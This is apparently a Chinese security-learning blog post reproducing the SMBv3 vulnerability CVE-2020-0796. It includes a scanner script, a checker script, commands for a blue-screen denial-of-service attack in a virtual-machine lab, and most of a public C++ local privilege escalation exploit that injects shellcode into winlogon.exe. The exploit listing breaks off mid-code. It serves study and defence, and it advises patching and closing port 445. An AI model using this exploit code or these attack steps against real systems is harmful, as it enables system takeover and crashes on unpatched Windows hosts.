这是做者的网络安全自学教程系列,主要是关于安全工具和实践操做的在线笔记,特分享出来与博友们学习,但愿您们喜欢,一块儿进步。前文分享了hack the box的OpenAdmin题目,结合Nmap、Gobuster、蚁剑等工具拿取管理员权限。本文将详细讲解SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可能利用此漏洞远程无需用户验证,经过发送构造特殊的恶意数据致使在目标系统上执行恶意代码,从而获取机器的彻底控制,利用的端口还是445。本文是一篇CVE漏洞还原的基础性文章,但愿对您有所帮助。php
做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,更但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~html
文章目录
PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。python
做者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其余工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
CVE工具:https://github.com/eastmountyxz/CVE-2020-0796-SMB
ios
声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。git
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和经常使用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
github
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
正则表达式
一.漏洞描述
基本描述:
2020年3月11日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞(CVE-2020-0796)。攻击者可能利用此漏洞远程无需用户验证经过发送构造特殊的恶意数据致使在目标系统上执行恶意代码,从而获取机器的彻底控制。
算法
微软SMBv3(Server Message Block 3.0)服务远程代码执行漏洞(CVE-2020-0796)可被攻击者利用,实现无须权限便可执行远程代码,受攻击的目标系统只需开机在线便可能被入侵。该漏洞后果十分接近永恒之蓝系列,存在被WannaCry等勒索蠕虫利用的可能,攻击者能够构造特定的网页、压缩包、共享目录、Office文档等多种方式触发漏洞进行攻击,对存在该漏洞的Windows主机形成严重威胁。shell
目前奇安信息威胁情报中心红雨滴团队已经确认漏洞的存在,利用此漏洞能够稳定地致使系统崩溃,不排除执行任意代码的可能性,因为漏洞无需用户验证的特性,可能致使相似WannaCry攻击那样蠕虫式的传播。2020年3月12日微软发布了相应的安全补丁,强烈建议用户当即安装补丁以避免受此漏洞致使的风险。2020年3月14日,已有可致使受影响系统蓝屏崩溃的漏洞利用POC在公开渠道发布,能够稳定地致使系统远程拒绝服务。数据库
3月22日奇安信代码安全团队发布了针对此漏洞的远程无损扫描器,能够帮助网络管理员快速地识别存在此漏洞的系统,欢迎使用。3月30日公开渠道出现利用此漏洞的本地提权利用代码,奇安信验证可用,本地攻击者能够利用漏洞从普通用户权限提高到系统权限。
参考文献: 奇安信威胁情报中心红雨滴团队的分析报告
影响版本:
该漏洞属于远程代码执行漏洞,漏洞主要影响Windows10的系统及应用版本(1903和1909),包括32位、64位的家用版、专业版、企业版、教育版。具体以下:
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
漏洞原理:
在微软SMBv3远程代码执行漏洞中,SMB 3.1.1协议处理压缩消息时,对其中的数据没有通过安全检查,直接使用可能引起内存破坏漏洞,从而被攻击者利用远程执行任意代码。攻击者经过发送特殊构造的数据包触发漏洞,无需用户验证就可能控制目标系统,同时影响服务器与客户端系统。
该漏洞存在于Windows的SMBv3.0(文件共享与打印服务)中,利用的端口是445。 当SMBv3.0处理恶意制做的压缩数据包时,因为SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压,并无检查长度是否合法,最终致使整数溢出。远程未经认证的攻击者就可能利用此漏洞在应用程序的上下文中执行任意代码,系统受到非受权控制。
漏洞利用:
- 本地EXP提权:https://github.com/danigargu/CVE-2020-0796
- SMB扫描工具:https://github.com/ollypwn/SMBGhost
- POC蓝屏攻击: https://github.com/eerykitty/CVE-2020-0796-PoC
- Python POC版本:https://github.com/ZecOps/CVE-2020-0796-LPE-POC
- 漏洞检测工具:https://github.com/joaozietolie/CVE-2020-0796-Checker
- 做者收集工具:https://github.com/eastmountyxz/CVE-2020-0796-SMB
二.Win10本地提权
第一个实验是利用CVE-2020-0796漏洞进行本地提取,攻击者利用该漏洞从普通用户权限提高到系统权限。实验代码采用C++实现,主要执行EXE程序。
参考代码:https://github.com/danigargu/CVE-2020-0796
1.开启445端口
首先须要开启445端口。该端口和13五、13七、13八、13九、3389都是常见的高危端口,你们须要注意防护。做为安全初学者,若是指定端口都未开启或关闭,谈何后续的实验及防护呢?因为做者被该端口困扰了一段时间,因此简单分享一些基础知识,大佬勿喷~
第一步,Windows查看某个端口是否开启。
- telnet 127.0.0.1 455
显示链接失败
- netstat -ano -p tcp | find “445” >nul 2>nul && echo 445端口已开启 || echo 445未开启
445端口显示未开启,而3389端口显示已开启
- netstat -ano
未显示TCP开启445端口
第二步,高级安全入站规则设置445端口容许。
点击“防火墙”->“高级设置”。
设置“入站规则”->“新建规则”->“端口”设置。
设置TCP特定端口445,容许链接和应用全部规则。
设置成功以后以下图所示,在测试445端口是否成功。此时仍然可能显示未开启。
第三步,注册表中新建SMBDeviceEnabled选项。
在注册表中查看以下路径,发现没有SMBDeviceEnabled选项。
计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
在右边空白处右击新建“QWORD(32位)值”,而后重命名为“SMBDeviceEnabled”。
再把这个子键的值改成1。可是做者的445端口仍然显示未开启,哎,本身真是菜得抠脚~
第四步,启用文件和打印机共享,开启Server服务。
最终缘由是Server服务未开启。Server支持计算机经过网络的文件、打印、和命名管道共享。若是服务中止,这些功能不可用。若是服务被禁用,任何直接依赖于此服务的服务将没法启动。
“网络和共享中心”->“高级共享设置”。
在运行中输入“services.msc”打开服务,开启Server。
Server开启后终于成功打开445端口。
重启计算机显示445开启。
注意:实验完成以后建议关闭445端口,或马上打补丁。
2.SMBGhost漏洞扫描
接着咱们尝试用 “https://github.com/ollypwn/SMBGhost” 代码扫描是否存在该漏洞,Win10注意关闭防火墙。运行结果以下图所示,表示存在CVE-2020-0796漏洞。
- python scanner.py 192.168.0.105
- pip install netaddr 安装扩展包
扫描程序仅用于测试服务器是否易受攻击,它经过协商请求检查SMBv3.1.1协议和压缩功能,源代码以下所示。该漏洞主要是因为SMBv3协议在处理恶意的压缩数据包时出错所形成的,它可以让远程且未经身份验证的攻击者在目标系统上执行任意代码。
scanner.py
import socket import struct import sys from netaddr import IPNetwork pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' subnet = sys.argv[1] #subnet = '192.168.44.141' for ip in IPNetwork(subnet): sock = socket.socket(socket.AF_INET) sock.settimeout(3) try: sock.connect(( str(ip), 445 )) except: sock.close() continue sock.send(pkt) nb, = struct.unpack(">I", sock.recv(4)) res = sock.recv(nb) if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00": #print(f"{ip} Not vulnerable.") print("%s Not vulnerable." % ip) else: #print(f"{ip} vulnerable") print("%s Vulnerable" % ip)
3.本地EXP提取
第一步,运行C++代码(sln程序),生成以下图所示exe程序。
- cve-2020-0796-local.exe
第二步,在运行中输入“winver”命令检查Windows版本,必须是Win10 1903或1909。
显示以下图所示,做者的未1909。
第三步,用管理员权限运行CMD(命令提示符),输入“whoami”。
- 输出结果为普通用户权限:desktop-k…86\xxxxxx
第四步,用管理员打开PowerShell,运行exe程序提权。
按下组合键Windows+R以打开运行窗口,输入powershell会以当前用户的权限去执行。
若是你想要从普通模式转至管理员模式,输入如下PowerShell命令而后按下回车键。
- Start-Process powershell -Verb runAs
输入以下命令运行EXE程序。
- D:
- cd D:\SMBGhost-master\CVE-2020-0796-master\cve-2020-0796-local\x64\Debug
- .\cv 按TAB键自动补齐 .\cve-2020-0796-local.exe
- 成功运行程序
第五步,此时EXE成功运行并利用SMB漏洞。在CMD中输入“whoami”命令,能够看到普通用户权限提高至管理员权限。
- 普通权限:desktop-k…86\xxxxxx
- 管理员权限:nt authority\system
系统管理员账户:许多服务和Windows进程须要在内部登陆 (例如在Windows安装过程当中),系统账户就是为该目的设计的。它是内部账户,不显示在用户管理器,也没法添加到任何组,而且不能分配用户权限。默认状况下,系统账户授予彻底控制NTFS卷上的全部文件。在此系统账户具备做为管理员账户相同的功能权限。
普通管理员帐户:不可以在系统内部登陆。对于文件系统,管理员帐户和SYSEM帐户具备相同的权限。可是对于一些服务和进程,咱们须要使用系统帐户而非管理员帐户,由于这些服务和进程要和系统交互,须要内部登陆。
在执行计划任务时,若是咱们使用NT AUTHORITY\SYSTEM帐户,那么是不须要输入密码的。可是使用管理员帐户,咱们必须输入密码。通常使用系统帐户是为了防止管理员改变密码后任务没法执行。对于通常的操做,可使用任何一个帐户但仍是建议您使用管理员或者普通用户执行。若是和进程或者服务有关的话,您可使用系统帐户。
Process Explorer打开的提权进程以下图所示:
自此,本地提权实验成功,实验结束建议关闭445端口或完善补丁,切记。C++代码及原理将在文章的第四部分详细讲解。
三.虚拟机蓝屏攻击
1.环境搭建
- 受害机:Windows 10 1903 64位专业版
- 攻击机:Kali系统
第一步,在虚拟机中安装Windows 10系统和Kali系统。
运行中输入“winver”查看版本信息为1903。
第二步,虚拟机两个系统之间可以相互通讯。
- Kali:192.168.44.138
- Win XP:192.168.44.140
第三步,打开Windows 10系统,肯定445端口开启。以下图所示,在CMD中输入“netstat -ano”查看端口445是否打开。开启方法前面已详细讲解。
第四步,关闭Windows系统的防火墙。
注意,某些状况系统已打过补丁,还须要删除补丁KB4551762才能成功实验。做者也存在一个疑问,采用Win10 32位 1903版本蓝屏攻击总失败,Why?
删除后重启计算机便可。
2.攻击实验
第一步,采用scanner.py或bash文件扫描该漏洞。这里采用另外一种方法,参考资源:https://github.com/joaozietolie/CVE-2020-0796-Checker
- 上传文件至Kali系统,做者采用文件共享
- chmod +x CVE-2020-0796-Checker.sh
- bash CVE-2020-0796-Checker.sh -t 192.168.44.140
CVE-2020-0796-Checker.sh
#!/bin/bash NC='\033[0m' RED='\033[0;31m' GREEN='\033[0;32m' #Code by João Zietolie :) while getopts "t:" OPTION; do case "${OPTION}" in t) target="${OPTARG}";; esac done if [[ "$target" > "0" ]]; then echo "Checking for SMB v3.11 in $target ..." result=$(nmap -p445 --script smb-protocols -Pn -n $target | grep -o 3.11) if [[ "$result" == '3.11' ]]; then echo -e "$target - ${RED}FOUND 3.11 VERSION - POSSIBLY VULNERABLE TO CVE-2020-0796" ${NC} else echo -e "$target - ${GREEN}There is no SMB v3.11 - possibly not vulnerable (Port 445 can be filtered or closed)" ${NC} fi else echo -e "${RED}USAGE: bash CVE-2020-0796-Checker.sh -t IP${NC}" fi
第二步,从github下载POC蓝屏攻击代码至Kali系统。
- https://github.com/eerykitty/CVE-2020-0796-PoC
- 命令:git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
第三步,安装扩展包并实现POC蓝屏攻击。
- pip install ntlm_auth
- python CVE-2020-0796.py 192.168.44.140
此时,Win10系统蓝屏重启,以下图所示。做者又有一个疑问,如何获取Shell而不蓝屏呢?
四.漏洞缘由分析
根据安全研究人员分析,该漏洞是一个整数溢出,发生在SMB服务驱动srv2.sys的Srv2DecompressData函数中。通过研究,研究人员成功证实了CVE-2020-0796漏洞能够被用于本地权限提高。不过须要注意的是,因为API的依赖问题,这个exploit被限制于中等完整性级别(integrity level)。
漏洞成因推荐以下文章:
安全人员发布利用CVE-2020-0796实现提权限的PoC - NOSEC
CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析 - 晓得哥
Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC
CVE-2020-0796本地利用简析 - goabout2
1.C++代码解析
exploit.cpp
/* * CVE-2020-0796 LPE * * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com * Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com * Date: 03/29/2020 * **/ #include <stdio.h> #include <stdint.h> #include <winsock2.h> #include <ws2tcpip.h> #include <windows.h> #include <TlHelp32.h> #include "ntos.h" #pragma comment(lib, "ws2_32.lib") ULONG64 get_handle_addr(HANDLE h) { ULONG len = 20; NTSTATUS status = (NTSTATUS)0xc0000004; PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL; do { len *= 2; pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len); status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len); } while (status == (NTSTATUS)0xc0000004); if (status != (NTSTATUS)0x0) { printf("NtQuerySystemInformation() failed with error: %#x\n", status); return 1; } DWORD mypid = GetProcessId(GetCurrentProcess()); ULONG64 ptrs[1000] = { 0 }; for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) { PVOID object = pHandleInfo->Handles[i].Object; ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue; DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId; if (pid != mypid) continue; if (handle == (ULONG_PTR)h) return (ULONG64)object; } return -1; } ULONG64 get_process_token() { HANDLE token; HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); if (proc == INVALID_HANDLE_VALUE) return 0; OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token); ULONG64 ktoken = get_handle_addr(token); return ktoken; } int error_exit(SOCKET sock, const char* msg) { int err; if (msg != NULL) { printf("%s failed with error: %d\n", msg, WSAGetLastError()); } if ((err = closesocket(sock)) == SOCKET_ERROR) { printf("closesocket() failed with error: %d\n", WSAGetLastError()); } WSACleanup(); return EXIT_FAILURE; } int send_negotiation(SOCKET sock) { int err = 0; char response[8] = { 0 }; const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, /* session */ 0x00, 0x00, 0xC4, /* length */ /* SMB Header */ 0xFE, 0x53, 0x4D, 0x42, /* protocol id */ 0x40, 0x00, /* structure size, must be 0x40 */ 0x00, 0x00, /* credit charge */ 0x00, 0x00, /* channel sequence */ 0x00, 0x00, /* channel reserved */ 0x00, 0x00, /* command */ 0x00, 0x00, /* credits requested */ 0x00, 0x00, 0x00, 0x00, /* flags */ 0x00, 0x00, 0x00, 0x00, /* chain offset */ 0x00, 0x00, 0x00, 0x00, /* message id */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* reserved */ 0x00, 0x00, 0x00, 0x00, /* tree id */ 0x00, 0x00, 0x00, 0x00, /* session id */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* signature */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* SMB Negotiation Request */ 0x24, 0x00, /* structure size */ 0x08, 0x00, /* dialect count, 8 */ 0x00, 0x00, /* security mode */ 0x00, 0x00, /* reserved */ 0x7F, 0x00, 0x00, 0x00, /* capabilities */ 0x01, 0x02, 0xAB, 0xCD, /* guid */ 0x01, 0x02, 0xAB, 0xCD, 0x01, 0x02, 0xAB, 0xCD, 0x01, 0x02, 0xAB, 0xCD, 0x78, 0x00, /* negotiate context */ 0x00, 0x00, /* additional padding */ 0x02, 0x00, /* negotiate context count */ 0x00, 0x00, /* reserved 2 */ 0x02, 0x02, /* dialects, SMB 2.0.2 */ 0x10, 0x02, /* SMB 2.1 */ 0x22, 0x02, /* SMB 2.2.2 */ 0x24, 0x02, /* SMB 2.2.3 */ 0x00, 0x03, /* SMB 3.0 */ 0x02, 0x03, /* SMB 3.0.2 */ 0x10, 0x03, /* SMB 3.0.1 */ 0x11, 0x03, /* SMB 3.1.1 */ 0x00, 0x00, 0x00, 0x00, /* padding */ /* Preauth context */ 0x01, 0x00, /* type */ 0x26, 0x00, /* length */ 0x00, 0x00, 0x00, 0x00, /* reserved */ 0x01, 0x00, /* hash algorithm count */ 0x20, 0x00, /* salt length */ 0x01, 0x00, /* hash algorith, SHA512 */ 0x00, 0x00, 0x00, 0x00, /* salt */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* pad */ /* Compression context */ 0x03, 0x00, /* type */ 0x0E, 0x00, /* length */ 0x00, 0x00, 0x00, 0x00, /* reserved */ 0x02, 0x00, /* compression algorithm count */ 0x00, 0x00, /* padding */ 0x01, 0x00, 0x00, 0x00, /* flags */ 0x02, 0x00, /* LZ77 */ 0x03, 0x00, /* LZ77+Huffman */ 0x00, 0x00, 0x00, 0x00, /* padding */ 0x00, 0x00, 0x00, 0x00 }; if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) { recv(sock, response, sizeof(response), 0); } return err; } int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) { int err = 0; char response[8] = { 0 }; const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, 0x00, 0x00, 0x33, /* SMB Header */ 0xFC, 0x53, 0x4D, 0x42, /* protocol id */ 0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */ 0x02, 0x00, /* compression algorithm, LZ77 */ 0x00, 0x00, /* flags */ 0x10, 0x00, 0x00, 0x00, /* offset */ }; uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len); if (packet == NULL) { printf("Couldn't allocate memory with malloc()\n"); return error_exit(sock, NULL); } memcpy(packet, buf, sizeof(buf)); *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC; *(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC; memcpy(packet + sizeof(buf) + 0x10, buffer, len); if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) { recv(sock, response, sizeof(response), 0); } free(packet); return err; } void inject(void) { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); uint8_t shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xff, 0xc2, // inc edx (1 = SW_SHOW) 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00 }; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); int pid = -1; if (Process32First(snapshot, &entry) == TRUE) { while (Process32Next(snapshot, &entry) == TRUE) { if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) { pid = entry.th32ProcessID; break; } } } CloseHandle(snapshot); if (pid < 0) { printf("Could not find process\n"); return; } printf("Injecting shellcode in winlogon...\n"); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProc == NULL) { printf("Could not open process\n"); return; } LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpMem == NULL) { printf("Remote allocation failed\n"); return; } if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) { printf("Remote write failed\n"); return; } if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) { printf("CreateRemoteThread failed\n"); return; } printf("Success! ;)\n"); } int main(int argc, char* argv[]) { WORD wVersionRequested = MAKEWORD(2, 2); WSADATA wsaData = { 0 }; SOCKET sock = INVALID_SOCKET; uint64_t ktoken = 0; int err = 0; printf("-= CVE-2020-0796 LPE =-\n"); printf("by @danigargu and @dialluvioso_\n\n"); if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) { printf("WSAStartup() failed with error: %d\n", err); return EXIT_FAILURE; } if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) { printf("Couldn't find a usable version of Winsock.dll\n"); WSACleanup(); return EXIT_FAILURE; } sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == INVALID_SOCKET) { printf("socket() failed with error: %d\n", WSAGetLastError()); WSACleanup(); return EXIT_FAILURE; } sockaddr_in client; client.sin_family = AF_INET; client.sin_port = htons(445); InetPton(AF_INET, "127.0.0.1", &client.sin_addr); if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) { return error_exit(sock, "connect()"); } printf("Successfully connected socket descriptor: %d\n", (int)sock); printf("Sending SMB negotiation request...\n"); if (send_negotiation(sock) == SOCKET_ERROR) { printf("Couldn't finish SMB negotiation\n"); return error_exit(sock, "send()"); } printf("Finished SMB negotiation\n"); ULONG buffer_size = 0x1110; UCHAR *buffer = (UCHAR *)malloc(buffer_size); if (buffer == NULL) { printf("Couldn't allocate memory with malloc()\n"); return error_exit(sock, NULL); } ktoken = get_process_token(); if (ktoken == -1) { printf("Couldn't leak ktoken of current process...\n"); return EXIT_FAILURE; } printf("Found kernel token at %#llx\n", ktoken); memset(buffer, 'A', 0x1108); *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */ ULONG CompressBufferWorkSpaceSize = 0; ULONG CompressFragmentWorkSpaceSize = 0; err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize); if (err != STATUS_SUCCESS) { printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err); return error_exit(sock, NULL); } ULONG 